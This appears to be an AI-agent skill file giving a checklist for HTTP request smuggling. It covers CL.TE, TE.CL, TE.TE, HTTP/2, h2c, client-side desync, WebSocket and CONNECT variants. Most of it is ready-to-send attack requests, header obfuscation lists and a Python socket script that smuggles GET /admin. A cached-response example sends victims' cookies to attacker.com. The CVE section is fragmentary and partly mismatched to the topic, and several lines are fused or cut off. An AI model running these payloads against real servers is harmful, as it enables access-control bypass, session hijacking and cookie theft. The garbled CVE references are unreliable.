HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
Use this skill when the conversation involves any of:
request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync
When this skill is active:
HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.
graph TD
A[Client] -->|HTTP Request| B[Front-end Server]
B -->|Interpreted Request| C[Back-end Server]
B -->|Different Interpretation| D[Desynchronization]
D -->|Smuggled Request| C
D -->|Security Bypass| E[Unauthorized Access]
D -->|Queue Poisoning| F[Response Hijacking]
Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:
Common desynchronization scenarios include:
HTTP/2/3 specific desync variants:
:authority vs Host normalization inconsistencies under CDNs.graph LR
subgraph "CL.TE Attack"
A1[Client] -->|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"| B1[Front-end]
B1 -->|"Uses Content-Length: 30<br>Sees one complete request"| C1[Back-end]
C1 -->|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"| D1[Smuggled Request Processed]
end
Modern variations include:
CL.TE Vulnerability Detection (Time Delay Example):
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.
TE.CL Vulnerability Detection (Time Delay Example):
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.
CL.TE Confirmation (Example):
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
Send twice. The second response should indicate an unrecognized method like GPOST.
TE.CL Confirmation (Example): (Ensure Burp's "Update Content-Length" is unchecked)
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Send twice. The second request should show the effect of the smuggled GPOST.
TE.TE Desync Detection (Obfuscation Example): (Ensure Burp's "Update Content-Length" is unchecked)
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Send twice. The second request should show the effect of the smuggled GPOST, confirming that one server ignored the obfuscated Transfer-encoding: cow header.
Differential Testing: Observe response timing differences
Time Delays: Add artificial delays between requests to detect queue interference
Obfuscation Testing: Try various obfuscation techniques:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: identity, chunked
content-length headers, mixed/malformed pseudo-headers, abnormal stream resets, header/continuation frame splitting.flowchart TD
A[Initial Assessment] --> B{Vulnerability Detected?}
B -->|Yes| C[Confirmation Testing]
B -->|No| D[Try Advanced Techniques]
D --> B
C --> E{Confirmed?}
E -->|Yes| F[Targeted Testing]
E -->|No| D
F --> G[Documentation & Exploitation]
subgraph "Initial Assessment"
A1[Test CL.TE Payloads]
A2[Test TE.CL Payloads]
A3[Check Header Obfuscation]
end
subgraph "Confirmation Testing"
C1[Send Request with Clear Response]
C2[Test Queue Poisoning]
C3[Check Status Code Anomalies]
end
subgraph "Targeted Testing"
F1[Test HTTP/2 Downgrade]
F2[Check Header Oversizing]
F3[Test Method Handling]
end
Initial Assessment:
Confirmation Testing:
Targeted Testing:
mindmap
root((HTTP Request Smuggling))
Security Control Bypass
WAF Bypass
Access Control Evasion
Authentication Bypass
Request/Response Queue Poisoning
Request Hijacking
Response Queue Poisoning
Cache Poisoning
Server-Specific Vulnerabilities
Nginx-Specific
Apache-Specific
NodeJS-Specific
Impact
Session Hijacking
Data Exposure
XSS Injection
Cache Poisoning
Network Scanning
Account Takeover
Transfer-Encoding handling with underscore prefixespython3 smuggler.py -u <URL> (defparam/smuggler, anshumanpattnaik/http-request-smuggling)go run ./cmd/h2csmuggler check https://target.com/ http://localhost (assetnote/h2csmuggler, BishopFox/h2csmuggler for HTTP/2)CL.TE Pattern:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 39
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
TE.CL Pattern:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
HTTP/2 Downgrade Pattern:
:method: POST
:path: /
:authority: vulnerable-website.com
content-length: 0
content-length: 44
GET /admin HTTP/1.1
Host: vulnerable-website.com
H2C Upgrade Smuggling Pattern:
GET / HTTP/1.1
Host: vulnerable-website.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
GET /admin HTTP/1.1
Host: vulnerable-website.com
Request Hijacking:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 50
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: vulnerable-website.com
Response Queue Poisoning:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 146
Transfer-Encoding: chunked
0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 30
<html>Fake Response</html>
WebSocket Hijacking:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 65
Transfer-Encoding: chunked
0
GET /socket HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Testing Patch Effectiveness:
Header Variations:
Transfer-Encoding: chunked
transfer-encoding: chunked
Transfer-Encoding:chunked
Transfer-Encoding: identity,chunked
Transfer-Encoding: identity, chunked
Chunk Size Manipulation:
1\r\n
A\r\n
0\r\n
\r\n
HTTP/2 Strictness Checks:
sequenceDiagram
participant A as Attacker
participant F as Front-end Server
participant B as Back-end Server
participant V as Victim
A->>F: 1. Send Smuggling Payload
F->>B: 2. First Request (Front-end interpretation)
Note over F,B: Desynchronization Occurs
A->>F: 3. Send Normal Request
F->>B: 4. Second Request gets appended to smuggled content
V->>F: 5. Victim sends innocent request
F->>B: 6. Victim's request gets processed with attacker's content
B->>F: 7. Modified response based on smuggled content
F->>V: 8. Victim receives unexpected/malicious response
Identify Desync Vulnerability:
Establish Attack Vector:
Craft Exploitation Payload:
Execute and Validate:
Document Impact:
HTTP/3 uses QUIC transport which introduces new desync opportunities when proxies translate between HTTP/3 and HTTP/1.1:
HTTP/3 to HTTP/1.1 Translation:
# HTTP/3 request with duplicate headers
:method: POST
:path: /api/endpoint
:authority: target.com
content-length: 10
content-length: 50
# Backend may use different content-length value
Testing HTTP/3:
# Using curl with HTTP/3
curl --http3 https://target.com/endpoint -v
# Check Alt-Svc header indicating HTTP/3 support
curl -I https://target.com | grep -i alt-svc
QUIC Stream Manipulation:
Client-side desync exploits browser behavior to poison the browser's own connection pool, affecting subsequent requests from the same client.
Mechanism:
Example CSD Attack:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 10
x=
GET /static/innocent.js HTTP/1.1
Host: vulnerable.com
Browser receives:
HTTP/1.1 200 OK
Content-Length: 100
<script>
// Malicious JavaScript injected into cached response
document.location='http://attacker.com/steal?cookie='+document.cookie;
</script>
Testing for CSD:
Age or X-Cache headers indicating cache hitHigh-Value Targets:
WebSocket upgrade process can be vulnerable to request smuggling:
WebSocket Upgrade Smuggling:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked
0
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: attacker-injection
Smuggling After WebSocket Establishment:
# Send via established WebSocket connection
GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: admin_session=stolen_token
WebSocket Frame Manipulation:
Testing Steps:
CONNECT method can be abused for request smuggling:
CONNECT internal.service:80 HTTP/1.1
Host: vulnerable-proxy.com
GET /admin HTTP/1.1
Host: internal.service
Authorization: Bearer stolen_token
Testing:
Exploiting TCP flow control and timing:
import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vulnerable.com', 80))
# Send headers slowly
s.send(b'POST / HTTP/1.1\r\n')
time.sleep(2)
s.send(b'Host: vulnerable.com\r\n')
time.sleep(2)
s.send(b'Content-Length: 50\r\n')
s.send(b'Transfer-Encoding: chunked\r\n\r\n')
# Send smuggled request
s.send(b'0\r\n\r\nGET /admin HTTP/1.1\r\n')
s.send(b'Host: vulnerable.com\r\n\r\n')
Exploit differences in maximum header sizes:
POST / HTTP/1.1
Host: vulnerable.com
X-Padding: AAAA[... 8KB of data ...]
Content-Length: 100
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
If front-end accepts larger headers than backend, backend may miss headers after cutoff point.
Header Name Obfuscation:
Transfer-Encoding : chunked # Space before colon
Transfer-Encoding\t: chunked # Tab
Transfer\rEncoding: chunked # Carriage return
Transfer\x00Encoding: chunked # Null byte (rare)
Transfer\x0bEncoding: chunked # Vertical tab
Multiple Content-Length Variations:
Content-Length: 10
Content-Length: 20
Content-length: 30 # Case variation
CONTENT-LENGTH: 40 # Uppercase
Content-Length : 50 # Space before colon
HTTP/2 Pseudo-Header Smuggling:
:method: POST
:path: /
:authority: target.com
:method: GET # Duplicate pseudo-header
content-length: 0
content-length: 50 # Duplicate content-length
Transfer-Encoding Value Pollution:
Transfer-Encoding: chunked, identity
Transfer-Encoding: identity, chunked
Transfer-Encoding: chunked;q=1
Transfer-Encoding: chunked\x20\x20
Transfer-Encoding: chunked\x0d\x0a
CVE-2023-45853 - MiniZinc HTTP Parser:
CVE-2023-38545 - curl SOCKS5 Heap Overflow:
CVE-2022-31629 - PHP HTTP Response Splitting:
CVE-2021-41773 - Apache HTTP Server Path Traversal:
CVE-2020-11724 - Varnish Cache HTTP/2 Desync:
Host/:authority
chunked; enforce single message framing signalConnection: close on sensitive responses; use HTTP/2 exclusively; implement strict cache controls